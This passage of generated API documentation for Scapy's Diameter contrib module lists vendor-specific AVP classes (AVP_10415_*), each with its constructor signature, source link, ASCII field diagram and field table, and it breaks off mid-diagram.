class scapy.contrib.diameter.AVP_10415_3407(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3422-L3426]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3407                        


AVP_10415_3407 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3415(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3429-L3432]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3415                        


AVP_10415_3415 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3421(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3435-L3446]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3421                        


AVP_10415_3421 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3428(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3449-L3453]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3428                        


AVP_10415_3428 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3438(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3456-L3460]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3438                        


AVP_10415_3438 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3442(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3463-L3467]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3442                        


AVP_10415_3442 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3443(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3470-L3473]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3443                        


AVP_10415_3443 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3445(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3476-L3479]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3445                        


AVP_10415_3445 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3448(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3482-L3487]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3448                        


AVP_10415_3448 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3449(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3490-L3495]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3449                        


AVP_10415_3449 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3451(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3498-L3501]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3451                        


AVP_10415_3451 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_3454(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L3504-L3508]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVP_10415_3454                        


AVP_10415_3454 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_500(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1587-L1596]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_500                        


AVP_10415_500 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_511(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1599-L1604]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_511                        


AVP_10415_511 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_512(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1607-L1610]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_512                        


AVP_10415_512 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_513(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1613-L1633]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_513                        


AVP_10415_513 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_520(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1636-L1650]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_520                        


AVP_10415_520 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_523(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1653-L1658]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_523                        


AVP_10415_523 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_527(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1661-L1666]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. AVP_10415_527                        


AVP_10415_527 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_10415_529(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1669-L1673]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
